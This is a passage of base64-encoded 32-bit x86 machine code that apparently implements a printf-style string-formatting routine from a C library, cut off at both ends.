6////fytVEDnQD4e5BAAAAUUQi4Wc+///hcAPhWcQAACLRRCFwA+Ifx0AAIuFmPv//4uYlAAAAInYLaDTDgg5hVT7//8PhjMQAACLVxSLRxiD7AQp0FBS/7WY+////1Mci1cYK1cUg8QQOdAPhaEEAAC6////fytVEDnQD4+FBAAAg0UUAQFFEIPHNIuFSPv//zlFFA+Ccf3//4u1ePv//4tdEIX2D4SxAAAAx4Wc+///AAAAAIPsDP+1ePv//+iU6/z/g8QQ6RwEAACNdCYAiweNUASJF4sAiQaDwwGDxgw7nZz7//8Pgjv8///p1vz//422AAAAAIP4B38ziweNUAjdAIkX3R7r0Y22AAAAAGgcMw4IaGkHAABoNjIOCGhYMg4I6H/G+/+NtCYAAAAA9sQIdZuLFayDEAiF0g+FuxAAANnu2z7rkrjQ////ZccASwAAAI12ALv/////i4XI+///jb3Q+///Ofh0DIPsDFDo4ur8/4PEEIt95GUzPRQAAACJ2A+FRRsAAI1l9FteX13DkI10JgCLB41QCIkXi1AEiwCJVgSJBukt////g+wMVuiByP7/g8QQhcAPhR/6//+D7AxW6E3n/P+DxBCFwImFePv//3SAiYWM+///6R36//+QjXQmAA+2haD7//+D6CA8Wg+HxwQAAA+2hYj7//8Pto1g+///D7a1Zvv//w+2lWX7//+JhUT7//8PtoVs+///iYVY+///D7aFaPv//4mFaPv//w+2hWf7//+JhWz7//8PtoVc+///iIVn+///D76FoPv//w+2gMA2Dgj/JIVgMw4IjXYAi4VA+///x4Wc+///AAAAAImFkPv//+nW/P//kI10JgCLRwSJhaT7///pTPz//2aQuMz///9liwCLAIt4KItALImFhPv//w+2AIm9gPv//4TAdAg8fw+FP/j//8eFhPv//wAAAADpMPj///edpPv//4PKIMeFlPv//wEAAACLhaT7//+IVwyJRwTp7Pv//8cH/////7v/////6fr7//+LhWz7//+FwA+EOw8AAIuVmPv//4tCFDtCGA+DlBYAAIuNmPv//41QAYlRFMYALYF9EP///38PhJMBAACDRRABg62k+///AYuFiPv//4XAdH+DvWD7//8QdXb2hUT7//8BdG2LlZj7//+LQhQ7QhgPg8UYAACLjZj7//+NUAGJURTGADCBfRD///9/D4Q+AQAAi5WY+///i0IUO0IYD4NxGAAAi42Y+///jVABiVEUD7aVZPv//4gQgX0Q/v//fw+ECgEAAINFEAKDraT7//8Ci5WQ+///i52k+///idAB8CnDhdJ0QoPsBFJqMP+1mPv//+jr6QAAi5WQ+///g8QQOdAPhccAAACBfRD+//9/D4cYCwAAuP///38rRRA5wg+HngAAAAFVEItFEIXAD4jPGAAAi4WY+///i5CUAAAAidAtoNMOCDmFVPv//w+GKRQAAIPsBFb/taD7////tZj7////UhyDxBA5xnVjuv///3+J0CtFEImVpPv//znwfEMBdRCF2w+Ogvv//4PsBFNqIP+1mPv//+hG6QAAg8QQOcN1LIF9EP7//38Ph30KAACLlaT7//+J0CtFEDnDD4Z7BQAAuND///9lxwBLAAAAi4V4+///u/////+FwA+Fzvv//4uFnPv//4XAD4Rn/P//g+wMUOhZ5/z/g8QQ6Vb8//+40P///2XHAEsAAACLhXj7//+FwA+EN/z//8eFnPv//wAAAAC7/////+mB+///i52c+///hdsPhcf3///pU/v//42FwPv//4PsBMeFwPv//wAAAADHhcT7//8AAAAAi5WM+///jXXUUItHJI0EQP80glboak8BAIPEEIP4/4nDD4RJ////i42k+///i5WU+///KcGFyQ+fhaT7//+F0g+2haT7//91TITAdEiD7ASJjaD7//9RaiD/tZj7///oH+gAAIuNoPv//4PEEDnBD4X7/v//gX0Q/v//fw+HbxcAALj///9/K0UQOcEPh9L+//8BTRCLRRCFwA+IjRcAAIuFmPv//4uQlAAAAInQLaDTDgg5hVT7//8Phq0SAACD7ASJjaD7//9TVv+1mPv///9SHIPEEDnDD4WS/v//vv///3+J8CtFEDnDD4d0/v//i4WU+///AV0QhcAPhK35//+AvaT7//8AD4Sg+f//i42g+///g+wEUWog/7WY+///iY2k+///6FjnAACLjaT7//+DxBA5wQ+FNP7//4F9EP7//38Ph6gWAAArdRA58Q+HEP7//wFNEOlS+f//i1csjQyVAAAAAI1BHoPg8CnEjUQkD4Pg8IXSdCaLVySLnYz7//8BwY0UUo0Uk4n2jbwnAAAAAIkQg8AEg8IMOch19IuVmPv//4tCFDtCGA+DjREAAIuNmPv//41QAYlRFMYAJQ+2RwyoCA+Ecg4AAIuVmPv//4tCFDtCGA+DixQAAIuNmPv//41QAYlRFMYAIw+2Rwy+AgAAAITAD4jGEAAAqEAPhJ8NAACLlZj7//+LQhQ7QhgPgxUUAACLjZj7//+NUAGJURTGACsPtkcMg8YBqCB0JIuVmPv//4tCFDtCGA+DvxIAAIuNmPv//41QAYlRFMYALYPGAYN/EDAPhDsQAAD2Rw0IdCSLlZj7//+LQhQ7QhgPgxMUAACLjZj7//+NUAGJURTGAEmDxgGLRwSFwA+FgA8AAIM//w+EKw4AAIuVmPv//4tCFDtCGA+DcxIAAIuNmPv//41QAYlRFMYALoH+////fw+Epfz//41F4GoAagqDxgFQ/zeJhaT7///oQOn//4PEEDuFpPv//4nDD4PVDQAAib2g+///i72Y+///6ySQjUgBiU8UiBCB/v///38PhFn8//+DxgE7naT7//8PhJ0NAACDwwGLRxQ7RxgPtlP/cs6D7AhSV+jkgvz/g8QQg/j/dcTpJPz//420JgAAAACLhZj7///2QDwEdByLnXT7//+F2w+EURAAAIuFdPv//4XAD4gbFAAAi0cki51s+///i5WM+///jQRAhduLBIIPhIkNAACLVRCJEMH6H4lQBOkG9///i5WY+///i0IUO0IYD4O5EAAAi42Y+///jVABiVEUxgAlgX0Q////fw+Emvv//4NFEAHpz/b//4XSD4X8+///i52k+///i5WU+///g+sBhdsPn8CF0onGdUCEwHQ8g+wEU2og/7WY+///6G3kAACDxBA5ww+FT/v//4F9EP7//38Ph8MTAAC4////fytFEDnDD4cm+///AV0Qi0cki5WM+///jQRAiwSCi5WY+///iYWk+///i0IUO0IYD4OYEQAAi42Y+///jVABiVEUD7aVpPv//4gQgX0Q////fw+E5vr//4uNlPv//4NFEAGFyQ+EEvb//4nwhMAPhAj2//+D7ARTaiD/tZj7///ozOMAAIPEEDnDD4Wu+v//gX0Q/v//fw+HIhMAALj///9/K0UQOcMPh4X6//8BXRDpx/X//8eFYPv//xAAAACLhWz7//+FwA+F3QYAAItHJIX2i5WM+///jQRAD4SdCQAAD7YEgseFaPv//wAAAADHhVj7//8AAAAAiYWI+///hdsPiCoJAAAPhRkGAACFwA+FEQYAAIO9YPv//wgPhTsFAAD2hUT7//8BD4QuBQAAi4WQ+///vgEAAADGhWf7//8gx4VE+///AQAAAMeFYPv//wgAAACNUP/GQP8wiZWg+///OfMPjggFAACJ2CnwiYWQ+///i4WU+///hcAPhe33//+LhaT7//8p2InDi4WI+///hcB0Gw+2hUT7//+D4AGDvWD7//8QdQiNU/6EwA9F2ouFbPv//wuFWPv//wuFaPv//4P4AYPT/4C9Z/v//yAPhGUIAACLhWz7//+FwA+EHQgAAIuVmPv//4tCFDtCGA+DZg0AAIuNmPv//41QAYlRFMYALYF9EP///38PhCz5//+DRRABi5WI+///hdJ0eIO9YPv//xB1b/aFRPv//wF0ZouVmPv//4tCFDtCGA+DTQ4AAIuNmPv//41QAYlRFMYAMIF9EP///38PhN74//+LlZj7//+LQhQ7QhgPg/sNAACLjZj7//+NUAGJURQPtpVk+///iBCBfRD+//9/D4Sq+P//g0UQAgOdkPv//4XbfjyD7ARTajD/tZj7///onuEAAIPEEDnDD4WA+P//gX0Q/v//fw+H0QIAALj///9/K0UQOcMPh1f4//8BXRCLRRCFwA+IiBAAAIuFmPv//4uYlAAAAInYLaDTDgg5hVT7//8PhtgLAACD7ARW/7Wg+////7WY+////1Mcg8QQOcYPhRj4//+4////fytFEDnwD4z89///AXUQ6T7z//+D7ARo6AMAAP+1fPv///91IOj9/fz/g8QQicYx0oX2D4RYCgAAg+IBD4WqCAAAgL2g+///Uw+EnQgAAIP7/w+E+QkAAIPsCFNW6O1/+/+DxBCJwseFoPv//wAAAACLhaT7//8p0ImFpPv//w+IXQcAAIudlPv//w+VhZD7//8PtoWQ+///hdt1UoTAdE6LnaT7//+D7ASJlYj7//9TaiD/tZj7///oaeAAAIPEEDnDD4VL9///gX0Q/v//fw+Hvw8AALj///9/K0UQOcMPhyL3//8BXRCLlYj7//+LTRCFyQ+I1w8AAIuFmPv//4uYlAAAAInYLaDTDgg5hVT7//8Phn4LAACD7ASJlYj7//9SVv+1mPv///9THIuViPv//4PEEDnCD4XW9v//u////3+J2CtFEDnCD4e49v//i4WU+///AVUQhcB0S4C9kPv//wB0QoPsBP+1pPv//2og/7WY+///6KvfAACLlaT7//+DxBA5wg+Fh/b//4F9EP7//38Ph/sOAAArXRA52g+HY/b//wFVEIuFoPv//4XAD4Sc8f//g+wMVujY3fz/g8QQ6Yvx///HhWD7//8KAAAA6b/7///HhWD7//8IAAAA6bD7//+DvWz7//8Ai0cki5WM+///jQRAD4V5BgAAhfYPhNAJAAAPvgSCicLHhWD7//8KAAAAweofiZVs+///mTHQKdCJhYj7///ppvv//4tHJIuVjPv//4PsBI0EQI0EgomFvPv//42FvPv//1BX/7WY+///6M1cAACDxBCFwA+Ir/X//4F9EP7//38Phs3w//9oHDMOCGjrBwAAaDYyDghonDIOCOhcuPv/jXQmAItHJIuVjPv//40EQIsEgoXAD4QHCgAAiYWI+///xoVk+///eMeFUPv//wAAAADHhUT7//8BAAAAx4Vg+///EAAAAMeFbPv//wAAAADp9fr//4tHJIuVjPv//4PsBI0EQI0EgomFuPv//42FuPv//1BX/7WY+///6OxaAACDxBCFwA+JT////+n59P//jXQmAItHJIuNjPv//40EQIs0gen+/P//i4WQ+///MfbGhWf7//8giYWg+///i4WI+///hcAPhL4CAAAPtoVE+///g+ABg71g+///CHUhhMB0HYuNoPv//4u1kPv//4nKxkH/MIPqASnWiZWg+///i42U+///KfO6AAAAAA9J04mVkPv//4XJD4Wd8v//i5WQ+///i52k+///AfIp0+m5+v//6GVL/P/pw+///4PsDP+1nPv//+jC2/z/g8QQ6YPv//+NhdD7///HhZz7//8AAAAAMf8x24mFpPv//+kk6///xoVn+///IDHSgL1k+///WIu1kPv//w+UwlL/tWD7//9WUOik4P//i42E+///g8QQiYWg+///hcl0I4uVUPv//4XSdBmD7Az/tYD7//+J8uj35P//iYWg+///g8QMg71g+///Cou1kPv//3UNgL1P+///AA+FRwMAACu1oPv//+m4+f//i0cki5WM+///x4Vo+///AAAAAMeFWPv//wAAAADHhWz7//8AAAAAjQRAjRSCiwKLUgSJhTj7//+JlTz7//+F2w+I7AIAAA+FegEAAIuVOPv//4uNPPv//4nQicoJwg+FYgEAAIO9YPv//wgPhUYFAACAvYj7//8AD4Q5BQAAi4WQ+///vgEAAADGhWf7//8gjVD/xkD/MImVoPv//4uFOPv//4uVPPv//4nBMcAJ0Q+VwImFiPv//+n7+P//i0SC4IXAD4Q57///i4WU+///iY2I+///iwSYg8Aeg+DwKcSNRCQPg+wIg+DwiQaJhZD7//+LBJlX/7WQ+////1SC4IPEEIuNiPv//+mM7v//i4Vo+///hcAPhOIBAACLlZj7//+LQhQ7QhgPgxkJAACLjZj7//+NUAGJURTGACvpsvD//4PsDFborLf+/4PEEIXAD4WQ7P//g+wMVuh41vz/g8QQhcCJhZz7//8PhGLy//+LjaT7//+NUyCJyIPAIDnZD0zCA4Wc+///iYWQ+///6YTs//8p84uVlPv//w9InYj7//+F0omdkPv//w+FFPD//4uFkPv//4udpPv//wHwKcPpQfj//8aFZ/v//yCD7AwxwIC9oPv//1iLtZD7//8PlMBQ/7Vg+///Vv+1PPv///+1OPv//+gs3///i42E+///g8QgiYWg+///hcl0IoC9Tvv//wB0GYPsDP+1gPv//4ny6KDi//+JhaD7//+DxAyDvWD7//8Ki7WQ+///dQ2AvU/7//8AD4UMAwAAK7Wg+///6Ub+//+LhWj7//+FwHQ/i5WY+///i0IUO0IYD4NcCAAAi42Y+///jVABiVEUxgAr6dT3//+7AQAAAOny/P//hdsPj9sCAAAx2+mM9///i41Y+///hckPhL73//+LlZj7//+LQhQ7QhgPg4cJAACLjZj7//+NUAGJURTGACDph/f//4XJD4USAwAAiwSCx4Vo+///AAAAAMeFWPv//wAAAACJhYj7///pV/b//4uFWPv//4XAD4QA7///i5WY+///i0IUO0IYD4P9BwAAi42Y+///jVABiVEUxgAg6cLu//+7AQAAAOmR/v//i4Wg+///ifGJ8ui84v//x4Vg+///CgAAAImFoPv//ynG6Vb2//+LRRCFwA+I5AgAAIuFmPv//4uYlAAAAInYLaDTDgg5hVT7//8PhusGAACD7ASJlaT7//9SVv+1mPv///9THIuVpPv//4PEEDnCD4Xj7///uP///38rRRA5wg+Hx+///wFVEOkJ6///qBAPhIHy//+LlZj7//+LQhQ7QhgPg7EHAACLjZj7//+NUAGJURTGACDpVPL//40EgotQBIswiZVg+///weofiZVs+///i5Vg+///wfofiZU0+///iZUw+///i5Uw+///i400+///MdaJ0Im1OPv//4u1YPv//8eFYPv//woAAAAxzimFOPv//4m1PPv//xmNPPv//+nc+///vgEAAADprvH//42FwPv//4XbibW8+///x4XA+///AAAAAMeFxPv//wAAAACJhZD7//8PiAYFAACB+wAQAAAPj8EEAACNQx7HhaD7//8AAAAAg+DwKcSNdCQPg+bwjYW8+////7WQ+///U1BW6KRAAQCDxBCD+P+Jwg+FEPf//+mu7v//kIu9oPv//4tPCIXJdC+LlZj7//+LQhQ7QhgPgwEEAACLnZj7//+NUAGJUxSICIH+////fw+EdO7//4PGAYF9EP7//38Ph/4GAAC4////fytFEDnGD4ZM9v//6UPu//+F9g+E1wEAAA+2VRCIEOl66f//i4Wg+///ifGJ8uig4P//iYWg+///KcbpKfv//4PsBFNqIP+1mPv//+gi1wAAg8QQOcMPhQTu//+BfRD+//9/D4dV+P//uP///38rRRA5ww+H2+3//wFdEDHb6XX0//+LhZD7//8x9saFZ/v//yCJhaD7///pzPr//4PsDFboPfX8/4PEEInCx4Wg+///AAAAAOkD9v//D7cEgseFaPv//wAAAADHhVj7//8AAAAAiYWI+///6UTz//+D+//HhaD7//8AAAAAD4TxAAAAg/sFD4/oAAAAMdK+UXMOCOm49f//jVXgagBqClJQiZWk+///6PrZ//+DxBA7haT7//+Jww+DW/D//4m9oPv//4u9mPv//+smjXYAjUgBiU8UiBCB/v///38PhBHt//+DxgE7naT7//8PhEUBAACDwwGLRxQ7RxgPtlP/cs6D7AhSV+icc/z/g8QQg/j/dcTp3Oz//420JgAAAACLlZj7//+LQhQ7QhgPg80EAACLjZj7//+NUAGJURTGADCDxgHpnO///4uVmPv//4tCFDtCGA+D5gQAAIuNmPv//41QAYlRFMYAJ4PGAQ+2RwzpDe///7oGAAAAvkgzDgjpzfT//4XJD4WLAQAAi1UQiRDpnOf//+hsQ/z/6R70//+JlaT7///oXEP8/4uVpPv//+nB6///hcl1LYsEguko9v//g+wIaiX/tZj7///o1XL8/4PEEIP4/w+FZu7//+kR7P//jXQmAA+/BILp+vX//4mVkPv//4mNoPv//+gGQ/z/i5WQ+///i42g+///6THt//+D7AhqLVLoinL8/4PEEIP4/w+FkvL//+nG6///ifaNvCcAAAAAi72g+///6dfu//+LnXD7//+D7AyJjaT7//9T6CDz/P9aWYPAAVBT6NR3AQCDxBCJhXT7//+LjaT7///peu///4mViPv//+iFQvz/i5WI+///6Wz0//+D+wW4BQAAAL4wMg4ID0zYgL2g+///Uw+FjvP//42FwPv//8eFvPv//zAyDgjHhcD7//8AAAAAx4XE+///AAAAAImFkPv//+kh/P//g+wIai1S6MNx/P+DxBCD+P8PhWTp///p/+r//2aQg+wIaiVS6KVx/P+DxBCD+P8PhT/v///p4er//410JgAPt1UQZokQ6Q/m//8PtoVk+///g+wIUFLoc3H8/4PEEIP4/w+F/fH//+mv6v//ZpCD7AhqMFLoVXH8/4PEEIP4/w+Fq/H//+mR6v//jXQmAIPsCA+2yVFS6DNx/P+DxBCD+P8PhfT7///pb+r//2aQg+wIai1S6BVx/P+DxBCD+P8PhTnt///pUer//410JgCD7AhqLlLo9XD8/4PEEIP4/w+Fhe3//+kx6v//jXQmAIPsDFPoh6/+/4PEEIXAD4Ur+///g+wMU+hTzvz/g8QQhcCJxg+EA+r//8eFoPv//wEAAADpH/v//42FvPv///+1kPv//2oAUGoA6ME7AQCDxBCD+P+Jwg+E0On//4uFwPv//4XAiYWg+///D4WeAQAAjVoBibW8+///gfsAEAAAD4c4AQAAjUMeg+DwKcSNdCQPg+bwjYW8+////7WQ+///U4mViPv//1BW6GE7AQCDxBCLlYj7///pzfH//w+2jaT7//+D7AhRUugScPz/g8QQg/j/D4Vg7v//6U7p//+Qg+wIaivpLf7//4PsCGorUujrb/z/g8QQg/j/D4Xj6///6Sfp//+NdgCNvCcAAAAAiZWk+///6CVA/P+LlaT7///p//j//4PsCGojUuivb/z/g8QQg/j/D4Vt6///6evo//+NtgAAAACD7AhqSVLojW/8/4PEEIP4/w+F5ev//+nJ6P//jXQmAIPsCGor6d78//8PtoVk+///g+wIUFLoXW/8/4PEEIP4/w+Fh+f//+mZ6P//jXQmAIPsCGowUug9b/z/g8QQg/j/D4Uz5///6Xno//+D7AhqIOlZ/f//g+wMiZWI+///U+jDrf7/g8QQhcCLlYj7//8Phaj+//+D7AyJlYj7//9T6IPM/P+DxBCFwInGD4Qz6P//x4Wg+///AQAAAIuViPv//+mG/v//aBwzDgho7AcAAGg2Mg4IaEEyDgjo2Kr7/+hTs/7/g+wIaiDpuP7//4PsCGowUuiebvz/g8QQg/j/D4Ur+///6drn//+D7Axo8DIOCOiwPvz/aBwzDgho6wcAAGg2Mg4IaMwyDgjoh6r7/4PsCGonUuhcbvz/g8QQg/j/D4US+///6Zjn//9oHDMOCGjkBwAAaDYyDghonDIOCOhSqvv/aBwzDgho7AcAAGg2Mg4IaJwyDgjoOar7/2gcMw4IaAcIAABoNjIOCGicMg4I6CCq+/+D7AhqIOlm+///aBwzDgho7AcAAGg2Mg4IaMwyDgjo/an7/2gcMw4IaBMIAABoNjIOCGjMMg4I6OSp+/+NdCYAVYnlV1ZTgezcBAAAi0UQi10Ii3UMiYWQ+///ZaEUAAAAiUXkMcC40P///2WLAImFiPv//4tDaIXAD4URAQAAx0No/////4s798cIAAAAD4WEFAAAhfYPhBIYAACJ+IPgAomFgPv//w+FcwEAAIPsCIuFkPv//2olVomFqPv//+iMA/3/g8QQgecAgAAAiYWE+///iYWk+///ib2M+///D4TDAAAAx4WM+///AAAAAIu7lAAAALi01w4ILaDTDgiJwYmFfPv//4n4LaDTDgg5wQ+G8hMAAIuFhPv//4PsBCnwUFZTiYWU+////1ccg8QQOYWU+///D4RkAQAAx4WU+/////////cDAIAAAHUNi1NIg2oEAQ+E5QAAAIuFjPv//4XAD4UDAQAAi3XkZTM1FAAAAIuFlPv//w+F9iAAAI1l9FteX13DifaNvCcAAAAAg/j/D4Tt/v//x4WU+////////+vEjXYAuAAAAACFwA+E0wAAAI2FwPv//4PsBFNoUM4JCFDotuv294PEEPcDAIAAAMeFjPv//wEAAAAPhQz///+LU0hliz0IAAAAO3oIdCQxwLkBAAAAZYM9DAAAAAB0AfAPsQp0B40K6OCq/v+LU0iJegiDQgQB6dD+//+Qi42Q+///ifKJ2OhxIwAAiYWU+///6S////+NtgAAAADHQggAAAAAZYM9DAAAAAB0AfCDKgF0B40C6MKq/v+LhYz7//+FwA+E/f7//42FwPv//4PsCGoAUOgD6/b3g8QQ6eT+//+NdgDHhcD7//9QzgkIiZ3E+///6Ub///+NdgCLlaT7//+AOgAPhJf+//+hNIMQCIXAD4WEAQAAoTiDEAiFwA+FdwEAAIs9rIMQCIX/D4VpAQAAx4U8+///AAAAAMeFSPv//wAAAADHhVD7////////x4VE+///AAAAAI1CAYmFpPv//w+2egG4SBoJCI1X4ID6WncTifgPvsAPtoDANg4IiwSFYDYOCI1V5MeFOPv//wAAAADHhXT7//8AAAAAx4Vw+///AAAAADHJx4VA+///AAAAAMeFVPv//wAAAADHhUz7//8AAAAAx4Vg+///AAAAAMeFbPv//wAAAADHhVz7//8AAAAAx4VY+///AAAAAMaFZPv//yDHhYD7////////iZVo+///x4V4+///AAAAAP/gi4Wk+///jVABiZWk+///D7Z4AY1H4DxaD4fyAwAAifi5AQAAAMeFVPv//wEAAAAPvsAPtoDANg4IiwSFYDQOCP/gi4Wk+///jVABiZWk+///D7Z4AY1H4DxaD4ewAwAAifgxyceFVPv//wAAAAAPvsAPtoDANg4IiwSFYDQOCP/gjbQmAAAAAMeFPPv//wAAAADHhVD7////////x4VE+///AAAAAI2F/Pv//4PsDP+1RPv///+1UPv///+1iPv//4nyUI2FqPv//4uNPPv///+1hPv///+1gPv///+1lPv//1CJ2P+1kPv//+hY2P//g8QwiYWU+///6ZD8//+LlZD7//+NheT7//+Nvez7//+D7ATHheT7//8AAAAAx4Xo+///AAAAAFCNSgT/MleJjXD7///obzIBAIPEEIP4/4nBD4ThAgAAi4V0+///KciFwInCiYWA+///D5+FkPv//4O9bPv//wAPtoWQ+///dVqEwHRWg+wEiY10+///UmogU+giywAAi5WA+///g8QQOcIPhZECAACLjZT7//+B+f7//38Ph9cfAAC4////fynIi410+///OcIPh8YSAACLlYD7//8BlZT7//+LhZT7//+FwA+I8x8AAIuDlAAAAInCgeqg0w4IOZV8+///D4ZMGwAAg+wEiY10+///UVdT/1Aci410+///g8QQOcEPhRYCAAC/////f4n4K4WU+///OcEPh10SAACLhWz7//8BjZT7//+FwHRSgL2Q+///AHRJg+wE/7WA+///aiBT6FfKAACLlYD7//+DxBA5wg+FxgEAAIuFlPv//z3+//9/D4cNHwAAKcc5+g+HBxIAAIuVgPv//wGVlPv//4uFcPv//4mFkPv//412AIuNePv//4OFSPv//wGFyQ+FgBIAAIuFpPv//4PsCGoljXgBV4m9pPv//+jR/fz/i5WU+///g8QQiYWk+///hdIPiNQeAACLi5QAAACJyoHqoNMOCDmVfPv//w+GGRIAAIPsBCn4UFdT/1Eci5Wk+///g8QQidEp+TnID4Vs+v//i72U+///uf///38p+TnID4+4EQAAAceAOgCJvZT7//8PhQn8///pS/r//4uFpPv//41QAYmVpPv//4mV0Pv//w+2QAGD6DCD+Al3M42F0Pv//4mNdPv//+jz0P//g/j/i410+///D4QAEQAAhcB0D4uF0Pv//4A4JA+EmRUAAIuFkPv//41QBIsAhcCJhXT7//8PiOUXAACBvXT7///e//9/D4/EEAAAi4V0+///PccDAAB+Jo14IIH/ABAAAA+HhRsAAI1HHoPg8CnEjUQkD4Pg8AH4iYVo+///i4Wk+///D7Y4jUfgPFoPhoUVAACJlZD7//+NdgCJ+ITAD4UWFQAAuND///9lxwAWAAAAZpCLhXj7//+FwA+ETvn//4PsDP+1ePv//+jUxvz/g8QQ6Tj5//+LhZD7//+LEIPABImFkPv//4XSD4R4FQAAifg8Uw+EMhQAAIXJD4UqFAAAg72A+////w+EIRUAAIPsCP+1gPv//4mVgPv//1LoN2f7/4uVgPv//4PEEInBx4Vw+///AAAAAIuFdPv//ynIiYWA+///D4hKEwAAi71s+///D5WFdPv//w+2hXT7//+F/3VmhMB0You9gPv//4PsBImNZPv//4mVaPv//1dqIFPorMcAAIPEEDnHD4Uh////i42U+///gfn+//9/D4dnHAAAuP///3+LlWj7//8pyIuNZPv//znHD4dQDwAAi72A+///Ab2U+///i4WU+///hcAPiH0cAACLu5QAAACJ+C2g0w4IOYV8+///D4a1FwAAg+wEiY1k+///iZVo+///UVJT/1cci41k+///g8QQOcEPhZv+//+/////f4uVaPv//4n4K4WU+///OcEPh9wOAACLhWz7//8BjZT7//+FwHRegL10+///AHRVg+wE/7WA+///iZV0+///aiBT6NDGAACLlYD7//+DxBA5wg+FP/7//4uFlPv//z3+//9/D4eGGwAAKcc5+ouVdPv//w+Heg4AAIuNgPv//wGNlPv//4u9cPv//4X/D4R0/P//g+wMUujrxPz/g8QQ6WP8//+LhVT7//+FwA+F1xMAAIuNcPv//4uVkPv//4XJD4UxFgAAi41A+///hckPhUwVAACLAoPCBImVkPv//4nCx4U0+///CgAAAMHqH4mVcPv//5kx0CnQiYVA+///kI20JgAAAACLlYD7//+F0g+InQ4AAA+FLA0AAIXAD4UkDQAAg700+///CA+FjxAAAIuNWPv//4XJD4SBEAAAi4Vo+///xoVk+///IMeFNPv//wgAAACNUP/GQP8wiZVU+///ugEAAAA5lYD7//8Pj3wMAACLhUD7//+FwA+EbgoAAA+2hVj7//+DvTT7//8IiIVM+///dR+EwHQbi4VU+///i5Vo+///jUj/xkD/MCnKiY1U+///i42A+///uAAAAAAp0Q9IyImNaPv//4uNbPv//4XJD4UtCgAAi4Vo+///jQwQi4V0+///KciJhYD7//+DvTT7//8QdRmLjYD7//+AvUz7//8AjUH+D0TBiYWA+///i4Vw+///C4Vc+///C4Vg+///g/gBg5WA+////4C9ZPv//yAPhHgOAACLjXD7//+FyQ+E4gwAAItDFDtDGA+D1BUAAI1IAYlLFMYALYuFlPv//z3///9/D4Qn/P//g8ABiYWU+///i4VA+///hcB0aIuNWPv//4XJdF6DvTT7//8QdVWLQxQ7QxgPgwcYAACNSAGJSxTGADCBvZT7//////9/D4Tc+///i0MUO0MYD4O3FwAAjUgBiUsUifmICIuFlPv//z3+//9/D4S1+///g8ACiYWU+///i71o+///A72A+///hf9+SoPsBImVgPv//1dqMFPoCsQAAIPEEDnHD4V/+///i5WU+///gfr+//9/D4feGAAAuP///38p0IuVgPv//znHD4e0CwAAAb2U+///i4WU+///hcAPiBQYAACLu5QAAACJ+C2g0w4IOYV8+///D4Z1EwAAg+wEiZWA+///Uv+1VPv//1P/VxyLlYD7//+DxBA5wg+FBvv//7j///9/K4WU+///OdAPjE8LAAABlZT7///pWPn//8eFNPv//woAAACLhVT7//+FwA+F+gsAAIuNcPv//4uVkPv//4XJD4UbDgAAi41A+///hckPhZkMAACLAoPCBImFQPv//8eFYPv//wAAAACJlZD7///HhVz7//8AAAAA6fT8//+LQxQ7QxgPgzIUAACNUAGJUxTGACWLhZT7//89////fw+EXvr//4PAAYmFlPv//+nA+P//i4Wk+///jVABiZWk+///D7Z4AY1H4DxaD4ca+v//ifi5AQAAAA++wA+2gMA2DgiLBIXgMw4I/+DHhTT7//8IAAAA6Sv////HhTT7//8QAAAA6Rz///+LhYD7//+NFI0AAAAAD7aNWPv//8eF3Pv//wAAAACJhdD7//+LhXT7///B4QOJhdT7//+J+Iu9VPv//w++wImF2Pv//w+2hUD7//8BwAn4CdAPtpVc+///CcgPto1s+///weIEweEFCdAPtpVg+///CcgPto1M+///weIGCdDB4QcJwQ+2hTj7//+Ijdz7///B4AOF/4iF3fv//w+2hWT7//+JheD7//+LhZD7//8PhJQOAADbKIPADImFkPv//9u9tPv//42FtPv//4PsBImFrPv//42FrPv//1CNhdD7//9QU+hiPgAAg8QQhcAPiAf5//+LjZT7//+B+f7//38Ph2YWAAC6////fynKOdAPh0IJAAABhZT7///pS/f//4uFgPv//40UjQAAAAAPto1Y+///x4Xc+///AAAAAImF0Pv//4uFdPv//8HhA4mF1Pv//4n4i71U+///D77AiYXY+///D7aFQPv//wHACfgJ0A+2lVz7//8JyA+2jWz7///B4gTB4QUJ0A+2lWD7//8JyA+2jUz7///B4gYJ0MHhBwnBD7aFZPv//4X/iI3c+///iYXg+///i4WQ+///D4RvDQAA2yiDwAyJhZD7///bvbT7//+NhbT7//+D7ASJhbD7//+NhbD7//9QjYXQ+///UFPogz4AAIPEEIXAD4nx/v//6fP3//+NdgCLhZD7//+NUASLAIXAD4QmDAAAiYVA+///iZWQ+///v3gAAADHhUz7//8AAAAAx4Vw+///AAAAAMeFWPv//wEAAADHhTT7//8QAAAA6Q/6//+LhaT7//+NUAGJlaT7//8PtngBjUfgPFoPh2n3//+J+MeFXPv//wEAAAAPvsAPtoDANg4IiwSFYDYOCP/gjYX8+///g+wEaOgDAABQ/7WI+///6Mjc/P+DxBCJwjHJ6XH3//+FyQ+FCvT//4u9dPv//4uVbPv//4PvAYX/D5+FgPv//4XSD7aFgPv//3VEhMB0QIPsBFdqIFPogb8AAIPEEDnHD4X29v//gb2U+////v//fw+HPhQAALj///9/K4WU+///OccPhy8HAAABvZT7//+LhZD7//+NUASJlZD7//+LEItDFDtDGA+DehIAAI1IAYlLFIgQi4WU+///Pf///38PhJf2//+LlWz7//+DwAGJhZT7//+F0g+E8PT//4C9gPv//wAPhOP0//9QV2ogU+jpvgAAg8QQOccPhV72//+LlZT7//+B+v7//38Ph6QTAAC4////fynQOccPh5kGAAABvZT7///povT///ZDPAR0DouFPPv//4XAD4RWDwAAi41U+///i5WQ+///hcmLAg+FawwAAIu9cPv//4X/D4VrDgAAi41A+///hckPhYYNAACLjZT7//+JCInQg8AEiYWQ+///6UT0//+NhaT7//+JjTT7///oA8b//z3e//9/iYV0+///i400+///D4cIBgAAi4V0+///PccDAAB+Jo14IIH/ABAAAA+H6xEAAI1HHoPg8CnEjUQkD4Pg8AH4iYVo+///i4Wk+///D7YAPCQPhHAKAACJx41H4DxaD4dD9f//ifgPvsAPtoDANg4I/ySF4DUOCIuFpPv//41QAYmVpPv//w+2eAGNR+A8Wg+HEvX//4n4x4VA+///AQAAAA++wA+2gMA2DgiLBIXgNA4I/+CLhaT7//+NUAGJlaT7//8PtngBjUfgPFoPh9X0//+J+MeFQPv//wAAAADHhXD7//8BAAAAD77AD7aAwDYOCIsEhWA0Dgj/4IuFbPv//w+2lWT7//+FwLgwAAAAD0TQi4Wk+///iJVk+///jVABiZWk+///D7Z4AY1H4DxaD4dx9P//ifgPvsAPtoDANg4I/ySFYDYOCIO9UPv///8PhBwNAACLhaT7//+NUAGJlaT7//8PtngBjUfgPFoPhzP0//+J+MeFTPv//wEAAAAPvsAPtoDANg4IiwSFYDYOCP/gi4Wk+///jVABiZWk+///D7Z4AY1H4DxaD4f28///ifjHhTj7